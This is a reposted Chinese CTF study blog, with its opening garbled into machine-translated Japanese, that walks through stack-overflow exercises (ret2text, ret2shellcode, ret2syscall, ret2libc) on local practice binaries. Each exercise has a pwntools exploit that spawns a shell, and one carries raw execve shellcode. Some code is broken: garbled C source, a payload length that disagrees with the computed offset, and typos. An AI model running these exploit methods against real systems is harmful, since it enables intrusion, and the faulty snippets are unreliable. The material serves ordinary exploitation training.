スタックオーバーフローの練習(1)

原則を具体的に参照:CTF-ウィキ

テストファイル:クリックしてダウンロード

スタックオーバーフロー

原則

基本的な前提は、スタックオーバーフローにあります

  • プログラムがスタックにデータを書き込む必要があります。
  • 書き込みデータサイズは十分に制御されていません。

出典:

書式#include <stdio.hに> 
する#include < 文字列の.h>
 のボイド成功(){プット(" あなたは私をハック。" ); }
 ボイド脆弱(){
   チャー S [ 12 ]。
  (複数可)を取得します。
  プット(S);
  リターン;
}
INTメイン(int型 ARGC、チャー ** ARGV){
  脆弱な();
  リターン 0 ;
}

 

コマンド:

GCC -m32 -fno-スタックプロテクター-no-パイtest.cの-o test1の

-m32:32ビットファイルとしてコンパイル
閉じるスタックオーバーフロー保護:-fno-スタックプロテクター
-no-パイ:閉じるアドレスのランダム化

 

環境

ヒント場合:/usr/include/stdio.h:27:10:致命的なエラー:ビット/ libcのヘッダ-start.h:そのようなファイルやディレクトリの
ダウンロードのサポートファイル:APT-GETはmultilibのGCC-G +±multilibのモジュールをインストールSUDO -assistant

 

分析

ファイルを検出:

 

手順を理解するための32本の必要性、手続きは関数を呼び出す:
スタック上の関数の戻りアドレス- >スタックEBP - >ローカル変数スタック(ESPアプリケーションスタック空間部のローカル変数)

私たちは、成功関数のアドレスのためのリターンアドレスを変更し、スペースはEBPによって占められ、ローカル変数領域のオーバーフローに必要な

スタック0x14のバイトの最上位から、sは[EBP-14H]です



success_addr = 0x08049172

このように修正ペイロード=距離EBP EBP +サイズ+成功アドレスサイズ

EXP

PWN インポート *

P =プロセス(' ./test1 ' 
success_addr=0x08049172
payload = 'a'*0x14 +'bbbb'+p32(success_addr)
print p32(success_addr)
p.sendline(payload)
p.interactive()

 

常见存在栈溢出函数:

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy

ROP

介绍

ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。这时,我们需要知道对应返回的代码的位置。


1.准备

保护机制



2.IDA查看源码

在主函数中调用了gets,因此我们可以利用s的地址,ebp-add(s)+size(ebp)计算出填充大小。

 


在secure函数发现执行了系统命令"/bin/sh",因此我们能够通过修改主函数返回地址为调用"/bin/sh"指令地址0x0804863a,来获取系统shell(权限)

 

3.计算填充大小
因为s的值是通过esp来索引,因此我们首先需要获取esp的值,在gets函数处下断点。



esp=0xffffcf80
addr(s)=esp+0x1C
ebp=0xffffd008

因此填充字符串payload = ‘a’*(ebp-(esp+0x1C)+4)+p32(0x0804863a)
0xffffd008 - 0xffffcf80 - 0x1C + 4 = 112


4.exp

from pwn import *
p = process('./ret2text')
addr = 0x0804863a
payload = 'a'*102+p32(addr)
p.sendline(payload)
p.interactive()

 

ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。

1.检测

32位文件,可以对栈中数据读写,执行代码。


2.代码分析
IDA打开:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

有gets函数,可以利用栈溢出,这里将获得的字符串复制到了buf2中。查看buf2

bbs段即存储未初始化的静态变量和全局变量(记录变量所需空间大小)
介绍:bbs段的理解


查看这个段是否有执行shellcode命令的权限

rwxp是可读写的(r-xp可读)

因此我们能够利用gets溢出s修改函数返回地址到buf2
计算填充大小:在gets下断点后,运行

eax            0x20 0x20
ecx            0xf7fad010   0xf7fad010
edx            0x20 0x20
ebx            0x0  0x0
esp            0xffffcf70   0xffffcf70
ebp            0xffffcff8   0xffffcff8
esi            0xf7fab000   0xf7fab000
edi            0xf7fab000   0xf7fab000
eip            0x804858c    0x804858c <main+95>
eflags         0x246    [ PF ZF IF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0  0x0
gs             0x63 0x63

0xffffcff8 - 0xffffcf70 - 0x1C + 4 = 112


3.exp

from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
addr_buf2 = 0x0804A080
p.sendline(shellcode.ljust(112,'a')+p32(addr_buf2))
p.interactive()

 

sniperoj-pwn100-shellcode-x86-64

1.准备

 

获取信息:

  • 64位文件
  • 只开启了地址随机化

2.代码分析

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

因此我们能够使用read来进行栈溢出,因为代码中已经动态的输出了buf的地址,因此随机化地址就没有作用了。

 

在buf处下断点,确定距离返回地址的距离

因为buf为[esp+0h],因此到EIP的字节数为EBP - ESP + size(EBP) = 0x7fffffffde20 - 0x7fffffffde10 + 8 = 24

之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有24字节,因此并不适用,需要我们到 https://www.exploit-db.com/shellcodes 或者 http://shell-storm.org/shellcode/ 查询构造相应的shellcode,例如查到

https://www.exploit-db.com/shellcodes/43550

https://www.exploit-db.com/shellcodes/46907

因为leave指令会释放栈空间,因此我们不能使用buf后面的24字节。

 

3.exp

# -*- coding:utf-8 -*-
from
pwn import * shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"# 23字节的shellcode p = process('./sniperoj-pwn100-shellcode-x86-64') p.recvuntil('[') buf_addr = p.recvuntil(']',drop=True)# 获取buf的地址 print int(buf_addr,16) fillw_addr = int(buf_addr,16) + 24 + 8# 指向shellcode的地址 p.sendline(24*'a'+p64(fillw_addr)+shellcode) p.interactive()

 

 

 

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。常用是执行execve("/bin/sh",NULL,NULL)

1.检测

获取到信息:

  • 32位文件
  • 开启了NX

 这道题我们就不能执行shellcode了。使用IDA查看源码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

 

2.分析

很明显,我们能够利用gets进行栈溢出,利用gdb计算出需要填充的字节数为:0xffffd028 - 0xffffcfa0 - 0x1c + 4 = 112

其次,我们需要程序去调用execve("/bin/sh",NULL,NULL),即使得

  • eax=系统调用号
  • ebx="/bin/sh"的地址
  • ecx=0
  • edx=0

再执行int 0x80中断就能运行对应系统调用。

系统调用号:https://www.cnblogs.com/Mayfly-nymph/p/12243003.html

execve的系统调用号为:11

接着,我们需要找到对应的gadgets来将对应参数放入寄存器中,因为参数是在栈中,因此我们需要pop指令来给寄存器赋(先将pop指令存入栈中,再将对应参数压入栈中,这样pop指令将会把高地址参数存入寄存器中)。

 

pop eax

 

使用 0x080bb196 : pop eax ; ret

 

pop ebx;pop ecx;pop edx

选择 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

 

"/bin/sh"

 

0x080be408 : /bin/sh

 

int 0x80

0x08049421 : int 0x80

 

3.exp

from pwn import *

p = process('./rop')
eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = flat(['a'*112,eax_ret,0xb,edx_ecx_ebx_ret,0,0,bin_sh,int_0x80])
p.sendline(payload)
p.interactive()

 

 pop 指令将会把高地址参数存入指定寄存器。ret指令执行下一条指令。

 

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh")

ret2libc1

1.检查

获取信息:

  • 32位文件
  • 开启NX

IDA查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

 

2.分析

依旧利用gets进行栈溢出,和上道相似,修改EIP为system("/bin/sh")的地址

首先利用gdb计算填充字节大小:0xffffd008-0xffffcf80-0x1c+4

 

接着,查找system("/bin/sh")的地址

在IDA找到程序的system函数地址

.got.plt:0804A018 off_804A018     dd offset system        ; DATA XREF: _system↑r

 

3.exp

from pwn import *

p = process('\ret2libc1')
bin_sh = 0x8048720
sys_addr = 0x804a018
payload = plat(['a'*112,sys_addr,'b'*4,bin_sh])
p.sendline(payload)
p.interactive()

正常调用system函数有返回值,将'b'*4作为返回值

 

おすすめ

転載: www.cnblogs.com/Mayfly-nymph/p/12239445.html